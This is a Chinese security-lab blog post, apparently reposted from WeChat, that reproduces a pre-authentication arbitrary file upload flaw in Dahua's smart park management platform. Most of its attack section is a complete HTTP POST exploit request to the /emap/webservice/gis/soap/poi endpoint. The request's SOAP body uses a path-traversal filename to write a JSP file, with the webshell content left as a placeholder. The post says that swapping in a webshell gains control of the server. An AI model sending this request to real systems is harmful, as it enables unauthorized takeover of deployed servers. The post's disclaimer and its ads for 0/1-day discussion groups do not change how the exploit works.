0x01 阅读须知
凯撒安全实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
0x02 漏洞原理
大华智慧园区综合管理平台是由大华技术股份有限公司（Dahua Technology）开发的一款综合管理解决方案。该平台旨在帮助园区管理者提高管理效率、提升安全水平、优化资源利用，并实现智能化的园区运营。大华智慧园区综合管理平台采用模块化设计和开放式架构，可根据不同园区的需求进行定制和扩展。同时，它还支持云端部署和移动端访问，方便管理者随时随地监控园区运营情况。大华智慧园区综合管理平台存在前台任意文件上传漏洞。本文将复现该漏洞的利用方法。
0x03 漏洞利用
影响版本：
大华智慧园区综合管理平台
poc:
漏洞利用点为：
/emap/webservice/gis/soap/poi接口，当访问接口时出现如下响应体时，基本可认定该漏洞存在。
exp：
POST /emap/webservice/gis/soap/poi HTTP/1.1Cookie: JSESSIONID=5C1C93DE5EC7F18FBD493CEFB322B71E; JSESSIONID=423EE6DD6937C1E0568CEF2FAB6E9B01Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeSOAPAction:Content-Type: text/xml;charset=UTF-8Host: xxxxx:xxxxContent-Length: 3117<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.poi.mapbiz.emap.dahuatech.com/"><soapenv:Header/><soapenv:Body><res:uploadPicFile><arg0>/../../kaisec.jsp</arg0><arg1>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(webshell)</arg1></res:uploadPicFile></soapenv:Body></soapenv:Envelope>
打入exp
访问/url/kaisa.jsp：
同理 将poyload换成webshell马 可获取服务器权限：
关注公众号带你了解更多0/1day漏洞
零日/一日 漏洞探讨加 Seven_-0928
本实验室接受正规站点的授权渗透测试服务。如你的公司业务有Web渗透测试，高级渗透测试，红蓝对抗，黑客溯源，Java代码审计等需求可联系以下微信进行商务洽谈：Xud330327
原文始发于微信公众号（阿乐你好）：大华智慧园区前台任意文件上传（最新1day）
